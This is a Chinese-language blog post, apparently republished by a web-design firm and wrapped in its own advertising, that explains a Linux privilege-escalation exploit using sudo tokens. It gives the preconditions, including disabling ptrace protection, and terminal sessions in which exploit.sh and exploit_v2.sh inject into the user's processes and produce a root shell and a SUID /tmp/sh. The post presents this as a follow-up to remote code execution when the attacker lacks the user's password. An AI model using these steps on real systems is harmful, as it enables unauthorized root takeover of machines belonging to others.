linux中如何利用sudotoken实现提权

小编给大家分享一下linux中如何利用sudo token实现提权,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!

“专业、务实、高效、创新、把客户的事当成自己的事”是我们每一个人一直以来坚持追求的企业文化。 创新互联建站是您可以信赖的网站建设服务商、专业的互联网服务提供商! 专注于做网站、成都网站设计、软件开发、设计服务业务。我们始终坚持以客户需求为导向,结合用户体验与视觉传达,提供有针对性的项目解决方案,提供专业性的建议,创新互联建站将不断地超越自我,追逐市场,引领市场!

如何利用系统中的漏洞?

$sudo whatever
[sudo]password for user:    # Press+c since you don't have the password. # This creates an invalidsudo tokens.
$ sh exploit.sh
....wait 1 seconds
$sudo -i # no password required :)
# id
uid=0(root)gid=0(root) groups=0(root)

实现要求

1、 完全启用Ptrace(/proc/sys/kernel/yama/ptrace_scope == 0);

2、 当前用户必须开启一个拥有有效sudo令牌并且相同uid的活动进程;

注:默认密码的超时时间为15分钟,如果你在15分钟内使用sudo两次,系统就不会要求你再输入用户的sudo密码了。

工作机制

项目目录中的Exploit.sh会向当前用户的所有进程注入Shell代码,并使用它们的sudo令牌来验证我们自己的sudo口令。仅需三行Shell代码,一切皆有可能。

使用样例

假设,你拿到了一个RCE,而且没有用户密码,但目标用户使用了sudo,那么你就可以通过窃取他的sudo令牌来实现提权啦!

如何在实验环境中模拟?

#echo 0 > /proc/sys/kernel/yama/ptrace_scope
# #Don't worry this is not persistent accross reboot

打开两个终端窗口:

1、 其中一个执行sudo命令,然后输入正确的用户密(sudo ls);

2、 另一个按照上述方法执行漏洞利用代码;

使用exploit_v2.sh在/tmp/sh中创建一个suid sh

如果exploit_v1无法成功的话,大家可以尝试一下exploit_v2.sh:

$./exploit_v2.sh
Currentprocess : 2441
chmod:changing permissions of 'activate_sudo_token': Operation not permitted
Injectingprocess 1721 -> bash
Injectingprocess 2433 -> bash
cat:/proc/2446/comm: No such file or directory
Injectingprocess 2446 ->
$/tmp/sh -p
# id
uid=1001(test)gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)

看完了这篇文章,相信你对“linux中如何利用sudo token实现提权”有了一定的了解,如果想了解更多相关知识,欢迎关注创新互联行业资讯频道,感谢各位的阅读!


当前文章:linux中如何利用sudotoken实现提权
当前URL:http://myzitong.com/article/joigsc.html